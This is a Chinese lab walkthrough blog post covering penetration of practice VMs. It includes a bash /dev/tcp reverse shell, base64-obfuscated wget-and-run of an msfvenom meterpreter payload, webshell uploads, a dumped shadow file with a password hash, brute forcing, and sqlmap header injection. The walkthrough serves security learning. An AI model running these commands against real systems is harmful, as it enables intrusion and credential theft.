• 14
  • 14
分享

命令执行漏洞

一般查看home目录,挖掘用户信息:ls -alh /home

查看具体用户的目录:ls -alh /home/用户名/

查看系统信息:uname -a

1.jpg

利用ssh命令执行root权限命令

使用ssh 用户名@localhost通过ssh登录服务器是不需要身份验证的;

比如查看bill用户sudo命令的权限:ssh bill@localhost sudo -l

ubuntu自带防火墙,所以关闭防火墙方便后面的操作。

ssh bill@localhost sudo ufw disable

反弹shell

攻击机启动监听netcat

nc -nlvp 4444

查看是否nc正在监听

netstat -pantu

2.jpg

靶场机器反弹shell

ssh bill@locahost sudo bash -i >& /dev/tcp/ip/4444 0>&1

然后监听端

3.jpg

渗透测试技巧

开启python简易http服务器

python -m SimpleHTTPServer

利用命令执行下载木马文件

ssh bill@localhost sudo wget "http://[ip]:[port]/shell.jsp" -O /var/lib/tomcat8/webapps/ROOT/shell.jsp

不过没有成功

4.jpg

暴力破解

使用wpscan对用户名进行提取

wpscan --url www.vtcsec.com/secret/ --enumerate u

探测到一个用户名为admin

5.jpg

使用metasploit进行暴力破解

6.jpg

破解完成,密码admin

7.jpg

登录成功

8.jpg

制作webshell进行上传。

访问404界面

http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php

这里再提一下之前的提权,这次这个可以查看shadow文件

cat /etc/shadow
root:!:17484:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:*:17379:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::
mysql:!:17486:0:99999:7:::
sshd:*:17486:0:99999:7:::

所以可以进行尝试之前提到的一种提权方式

先将两个文件下载下来

meterpreter > download /etc/shadow
[*] Downloading: /etc/shadow -> shadow
[*] Downloaded 1.27 KiB of 1.27 KiB (100.0%): /etc/shadow -> shadow
[*] download   : /etc/shadow -> shadow
meterpreter > download /etc/passwd
[*] Downloading: /etc/passwd -> passwd
[*] Downloaded 2.31 KiB of 2.31 KiB (100.0%): /etc/passwd -> passwd
[*] download   : /etc/passwd -> passwd

然后逆向一下这两个文件

unshadow passwd shadow > cracked

然后会发现有了cracked这个文件,在用John进行破解一下,就得到了一个用户名和密码marlinspike

9.jpg

然后登录到一个相对较高的用户,得到一个较高的权限,这个时候,可以使用sudo -l

查看可以使用的sudo命令。

然后发现可以使用sudo bash

最后得到root权限

10.jpg

命令执行(使用集成工具测试)

一个工具,是个坑,不知道什么时候改名字了,原本叫sparta,我找半天没找到,就自己安装,总是定位不到依赖包,尝试了各种方法也没有安装成功。就是因为它改名字了,现在叫legion

11.jpg

感谢那个发现改名的大师傅。

其他没什么了。

中间件PUT漏洞

中间件介绍

中间件包括apache、tomcat、IIS、weblogic等,这些中间件可以设置支持的http方法。(HTTP方法包括GET、POST、HEAD、DELETE、PUT、OPTIONS等)

每一个HTTP方法都有其对应的功能,在这些方法中,PUT可以直接从客户机上传文件到服务器。如果中间件开放了HTTP中的PUT方法,那么恶意攻击者就可以直接上传webshell到服务器对应的目录。

直接上传shell,也可以从侧面反映PUT漏洞的眼中危害性。

测试靶场

使用nikto和dirb等工具扫描,除了扫描出来一个test目录,什么也没有;Owasp zap这个漏洞扫描器也没有结果;所以学习一个新工具curl

curl -v -X OPTIONS http://10.0.2.8/test

12.jpg

利用PUT漏洞获取shell思路:

上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在kali linux中获取反弹shell;

上传webshell;在test目录下直接使用浏览器插件poster,上传webshell

使用/usr/share/webshells/php/下的webshell

使用火狐工具插件RESTClient上传,内容粘贴shell的代码。然后nc监听相应端口;

13.jpg

然后发送,再去浏览器访问这个URL就可以执行shell了;

查看nc监听情况。

得到shell

14.jpg

命令注入

找到一个上传页面,而且经过测试只能上传后缀为csv的文件,所以在桌面新建一个1.csv然后使用burpsuite进行抓包修改参数,写入可执行的命令在名称里面。

启动监听,使用msfconsole

msfconsole
use exploit/multi/handler 
set payload linux/x86/meterpreter_reverse_tcp
set lhost 10.0.2.4
exploit#开启监听

然后制作shell;

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=10.0.2.4 lport=4444 -f elf > /var/www/html/shell

然后就是绕过防火墙 上传shell

利用base64绕过防火墙检测

service apache2 start#开启apache服务
echo 'wget http://10.0.2.4/shell -O /tmp/shell' | base64
echo 'chmod +x /tmp/shell' | base64
echo '/tmp/shell' | base64

使用burpsuite抓包修改参数

"<?php shell system(base64_decode('base64encodestrings'));die();?>.php"

一步一步的将参数修改上传,最后得到反弹的shell,

提升权限;

登录服务器后,反弹的shell是www-data用户,并不具备root权限,

使用sudo -l 查看www-data用户的sudo权限;

根据提示执行以下命令(为了方便,程序员便设置了不需要密码就可以执行的web操作)

sudo perl -e "exec '/bin/bash' "
bash -i

就得到了服务器的root用户权限。

SQL注入-X-Forwarded-For报头注入

靶场是linux 2.6x的系统,安装虚拟机时注意。

然后对靶机进行信息收集,发现了敏感目录,访问是一个登录页面

尝试弱口令登录,但是失败了。

15.jpg

放弃使用弱口令,开始进行漏洞扫描,使用AVWS进行漏洞扫描。

16.jpg

配置好,然后开始scan

等待结果就可以了

17.jpg

最后这个有个高危漏洞,是个盲注。详细信息继续查看。

看出是关于X-Forwarded-For报头注入的一个SQL盲注漏洞。

18.jpg

使用sqlmap进行探测,就可以得到数据库中的数据了。

sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" --dbs --batch
 sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" --tables --batch
 sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch
 sqlmap -u "http://10.0.2.10" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" -C "login,password" --dump --batch

按照套路来就行,最后测出数据

19.jpg

账号密码进行登录

然后就是老套路,上传webshell,连接,提权等操作。


作者:m0re

原文链接:https://blog.csdn.net/qq_45836474/article/details/108015896#comments_14984090


  • 【留下美好印记】
    赞赏支持
登录 后发表评论
+ 关注

热门文章

    最新讲堂

      • 推荐阅读
      • 换一换
          •   有三种主要类型的自动化测试。  一、自动化单元测试?  自动化单元测试在代码级别上进行测试。bug是在开发人员编写的函数、方法和例程中识别出来的。  一些公司要求开发人员自己进行单元测试,而有些公司则雇用专门的测试自动化资源。这些资源可以访问源代码,它们编写单元测试来破坏生产代码。由于单元测试的存在,每当代码编译时,所有单元测试都会运行,并告诉我们是否所有功能都正常工作。如果任何单元测试失败,这意味着现在生产代码中存在一个bug。  市场上最流行的一些工具是NUnit和联合股。微软还提供了自己的单元测试框架,称为MSTest。通过这些工具的网站,他们将提供如何编写单元测试的示例和教程。  ...
            0 0 932
            分享
          • 一、同源策略所谓同源策略,就是指两个页面具有相同的协议,主机(也常说域名),端口,三个要素缺一不可二、什么是跨域 单地理解就是因为JavaScript同源策略的限制,一个域的页面去请求另一个域的资源,A域的页面去请求B域的资源。三、解决跨域1、Jsonp实现跨域jsonp的原理:动态创建<script>标签,而<script>的src属性是没有跨域限制的前端创建script标记,设置src,添加到head中(你可以往body中添加)后台返回一个js变量jsonp,这个jsonp就是请求后的JSON数据回调完成后删除script标记(还有一些清理工作如避免部分浏...
            0 0 976
            分享
          •   最近国产API管理工具卷起来了,甚至发生了公开踩踏事件,但最后还是要回归产品,产品好才真的好。给大家推荐Eolink,低调又强大。Eolink是结合了 API 设计、文档管理、自动化测试、监控、研发管理和团队协作的一站式 API 生产平台,还集成 Gitlab、Jenkins、钉钉、企业微信、飞书等平台,简直就是一个六边形战士,没有短板!最重要的是,Eolink在商用方面已全面领先!  目前SaaS产品完全免费,你可使用web版,也可下载桌面端,Windows、Mac、Linux 平台均支持!  一、API研发测试天花板  目前市面上有众多API研发工具,但Eolink依然在功能...
            0 0 719
            分享
          •   今天小梦就已微信红包为例,说说在实际项目中如何设计测试用例!希望也能对你有一些启发 : )  1. 设计测试用例的一般步骤  我先简单讲一下我写测试用例的操作步骤:  详细了解并梳理系统功能需求,必要时找产品进行需求澄清;  如果是比较复杂,或者对原有功能改动较多,在梳理需求的过程最好能画出业务流程图;  根据需求/流程图列出所有功能测试点;  根据测试点编写详细的功能测试用例。  2. 实例 - 微信红包  2.1 需求  微信红包的诞生  我还记得微信红包的大流行是在2015年,那一年我边看春晚,边拿着两个手机摇一摇。此后每年的春节期间,抢红包,发红包,成了和支付宝集五福一样的新习俗。...
            9 9 2416
            分享
          • selenium提供了很多用于定位元素的方法,首先我们自己需要知道元素有哪些属性,这就需要用到安装测试环境中firebug来定位打开firefox浏览器,按下F12键,我们就可以看到如下图所示的界面:点击中间红框中的按钮再点击页面上的元素,就可以在下面页面代码处看到对应的属性,比如输入框有id、class、name、value还有个tag属性,除了value之外其他都可以作为定位该元素的方法。相关代码如下:driver.find_element_by_id("kw").send_keys('python') driver.find_element_by_cl...
            0 0 823
            分享
      • 51testing软件测试圈微信